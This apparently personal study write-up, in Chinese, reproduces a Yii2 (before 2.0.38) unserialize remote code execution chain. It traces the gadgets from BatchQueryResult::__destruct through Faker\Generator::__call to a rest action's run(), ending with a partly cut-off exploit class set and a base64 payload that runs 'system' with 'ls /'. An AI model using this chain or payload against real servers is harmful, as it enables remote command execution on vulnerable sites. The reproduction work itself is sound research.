phpthink 的链子有点长 暂时先复现一下简单点的框架,跟着师傅们的思路学习一下,提高一下自己的代码审计能力,搞完这个复现 也该去学java了
源码地址:https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz
该漏洞适用于YII2.0.38之前,用户如果可以控制unserialize的传入值,则可以进行远程代码执行。
环境用的是PHPstudy。 需要 修改config\web.php中cookieValidationKey为任意值,作为yii\web\Request::cookieValidationKey的加密值,不然会发送报错。
一般的反序列化链子 都会以魔术方法 __destruct 作为起点来找利用点 这个漏洞也是的。 全局搜索 __destruct ,对于这个魔术方法 有很多文件都有, 只能一个一个去找利用点 去探索了。
其实开查找 也挺方便的 直接 CTRL + 左键 ,最终找到 /vendor/yiisoft/yii2/db/BatchQueryResult.php reset() 方法可以利用 这会又可以调用 _dataReader下的close方法。
class BatchQueryResult{
private $_dataReader;
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
}
而这里的 $_dataReader 是可控的 ,那么我们就可以联想到__call 方法,让_dataReader 成为一个类 去调用 __close() ,如果该类中没有__close 方法,就会自动调用__call方法。
__call : 在对象中调用一个不可访问方法时,__call会被调用。
继续 全局搜索__call ,找到 一条错误的链子( 可以跳过,直接去看我下面正确的链子)
src\Codeception\Util\Maybe.php中的 __call方法()
public function __call($method, $args)
{
if ($this->val === null) {
return new Maybe();
}
return call_user_func_array([$this->val, $method], $args);
}
think : 这个 val 可控,但是我们调用的 close()方法是无参的 这里的 $method应该是 close方法,而$args 应该是空,所以 这条链子应该是用不了的 (如果我说错了,请各位师傅纠正我一下,因为我是真的菜)
继续全局找 __call() ,找到 src/Faker/Generator.php 可以看到:
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
跟进一下这个 $this ->format()
src/Faker/Generator.php
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
call_user_func_array(callable
$callback
, array$args
): mixed把第一个参数作为回调函数(
callback
)调用,把参数数组作(args
)为回调函数的的参数传入。
这里是call_user_func_array直接出来了 ,跟进一下这个
$this->getFormatter($formatter)
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
进入第一个 if 判断,如果 $this - > formatters[$formatter] 有值,就返回其值,
call_user_func_array的第二个 $arguments 的值,我们无法控制,默认为空数组,但是可以控制call_user_func_array的第一个参数,这样我们就可以通过它作为跳板去无参调用其它类的方法。
所以我们能够做到的只有两个办法,一个就是调用 yii2 中的无参方法,或者调用 原生类php 的类似 phpinfo() 这样的无参方法,但是肯定事不能RCE的,所以我们的思路是要调用Yii框架中的无参的 call_user_func_array 作为跳板 再次调用执行。
例如:
但是有个问题, 无参的参数实在是太多了,一个一个找肯定费时费力,这就要学习一下其他师傅的高深只会,直接 用正则匹配来搜索含有 call_user_func_array的方法
全局搜索进行正则匹配call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
找到 /vendor/yiisoft/yii2/rest/CreateAction.php 这样就一目了然了
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
恰好恰好的是 ctrl +左键可以点击 check Access 和 id 刚好这两个值是可控的,那么链子就可以连上了!
总结一下此条链子的利用:
yii\db\BatchQueryResult::__destruct()
->
Faker\Generator::__call()
->
yii\rest\CreateAction::run()
我的EXP:
_dataReader =new Generator();
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run']; #此处调用 IndexAction类中的 run方法
}
}
}
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess = 'system';
$this->id = 'ls /';
}
}
}
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6NDoibHMgLyI7fWk6MTtzOjM6InJ1biI7fX19fQ
yii 2.0.37以后的版本更新的链子 上课摸鱼的时候再审,现在我要去搞java了..晚会再更后面版本的写到这里
链子还是挺短 挺简单的,就是需要灵活利用魔术方法,还有回调函数. 学到了